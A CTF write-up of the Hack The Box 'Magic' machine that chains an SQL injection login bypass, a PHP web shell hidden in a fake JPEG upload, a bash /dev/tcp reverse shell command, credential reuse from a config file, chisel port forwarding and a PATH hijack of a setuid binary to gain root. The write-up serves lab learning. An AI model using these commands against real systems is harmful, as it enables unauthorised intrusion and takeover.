Magic Writeup

07 April 2023 #CTF #HTB #box #medium #linux

magic info


nmap is like magic:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap
22/tcp open  ssh
80/tcp open  http
$ ports=$(awk -F/ '/^[0-9]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06d489bf51f7fc0cf9085e9763648dca (RSA)
|   256 11a69298ce3540c729094f6c2d74aa66 (ECDSA)
|_  256 7105991fa81b14d6038553f8788ecb88 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Magic Portfolio
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Going to the webserver, we have a image gallery type website:


Some of the images displayed are from a images/uploads directory:

uploads dir

We'll keep that one in mind (you could find it via recursive directory bruteforcing or link crawling, ... or just looking at the source).

There is a link to the login page at the bottom, let's see:

login page


Trying common creds like admin:admin and admin:password didn't work. Next we can try SQL injection:

sqli payload

We need to intercept the request in Burp because there is some javascript on the page preventing us from entering spaces on the input field.

It worked, we can now access an upload page:

upload page

It only wants jpg or png files:

test upload php

Even with the correct extension, it still complains:

error jpg upload

It must be checking the magic bytes of the file to determine if it's an actual image.

We can find a list of file signatures here. We'll add the magic bytes of the jpg format to a file:

$ echo 'FF D8 FF E0 00 10 4A 46 49 46 00 01' | xxd -r -p > test.jpg
$ file test.jpg
test.jpg: JPEG image data, JFIF standard 1., segment length 16, thumbnail 0x

Whatever we add after these magic bytes, it should be considered a jpg file.

We can try mixing extensions to see what happens:

successful upload

It uploaded successfully, we can view the file in /images/uploads/:

$ curl '' -o -

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Weirdly enough, it worked. Let's get a reverse shell:

$ curl '' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/ 0>&1'"

There is a .htaccess file the webroot. It explains why our technique worked:

www-data@ubuntu:/var/www/Magic$ cat .htaccess
<FilesMatch ".+\.ph(p([3457s]|\-s)?|t|tml)">
SetHandler application/x-httpd-php
<Files ~ "\.(sh|sql)">
   order deny,allow
   deny from all

It's doing a regex to match .php file (and .php4, .phtml, etc ...) but they forgot to add a '$' at the end. As a result, any file that has .php in its name will be executed as php, even if it ends in .jpg.


www-data to Theseus

In the webroot, there's a db.php5 file with some creds:

www-data@ubuntu:/var/www/Magic$ cat db.php5
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus'

We can confirm this 'theseus' user exists on the box:

www-data@ubuntu:/var/www/Magic$ grep 'sh$' /etc/passwd

He does, but the password doesn't let us in.

Fine, we'll take a look at the database instead, but mysql isn't installed on the box:

www-data@ubuntu:/var/www/Magic$ mysql

Command 'mysql' not found, but can be installed with:

apt install mysql-client-core-5.7
apt install mariadb-client-core-10.1

Ask your administrator to install one of them.

It is listening only on localhost, so we need to forward port 3306 to our box. We'll use chisel for that.

Firstly, upload chisel on the target box and start the server:

www-data@ubuntu:/dev/shm$ ./chisel server -v -p 4242
2023/04/08 08:20:15 server: Fingerprint fjBisGvIZQMjIsAFsobQ7Hf8M/yJbsKmW8n/ncxYF7M=
2023/04/08 08:20:15 server: Listening on

Then, we connect to the server from our attack box and specify the port forwarding:

$ chisel client -v 3306:
2023/04/08 17:20:48 client: tun: Bound proxies
2023/04/08 17:20:49 client: Handshaking...
2023/04/08 17:20:49 client: Sending config
2023/04/08 17:20:49 client: tun: SSH connected

Here, we say that we want to open port 3306 on our attack box, and forward any traffic we receive on this port to port 3306 on the target box (on the loopback interface).

Now we can connect to the MySQL instance from our attack box:

$ mysql -h -u theseus -piamkingtheseus
MySQL [Magic]> select * from login;
| id | username | password       |
|  1 | admin    | Th3s3usW4sK1ng |

We can su -l theseus with this password.

Theseus to root

Theseus is a member of an unusual group 'users':

theseus@ubuntu:~$ groups
theseus users

Let's see what files this group has:

theseus@ubuntu:~$ find / -group users -ls 2>/dev/null
   393232     24 -rwsr-x---   1 root     users       22040 Oct 21  2019 /bin/sysinfo

Just one file, and this is a setuid executable. Let's run strings on it to see what it might be doing:

theseus@ubuntu:~$ strings /bin/sysinfo
popen() failed!
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h

It's fair to assume it is executing the popen function with these commands (cat /proc/cpuinfo, free -h, ...). It's using a non absolute path for the commands so we can hijack it.

To exploit it , we'll start by creating a shell script called free (or fdisk, or cat, ...) with the following contents:


/bin/sh 1>&2

It's just going to execute sh but we need to redirect stdout to stderr because stdout is messed up.

Then, we modify our PATH environment variable:

theseus@ubuntu:/dev/shm$ export PATH=/dev/shm:$PATH
theseus@ubuntu:/dev/shm$ echo $PATH

We put the directory where our fake free is located at the beginning, so that when the executable calls free, the fake one is executed.

Now we just execute sysinfo and get our root shell:

theseus@ubuntu:/dev/shm$ sysinfo
# id
uid=0(root) gid=0(root) groups=0(root),100(users),1000(theseus)

Key Takeaways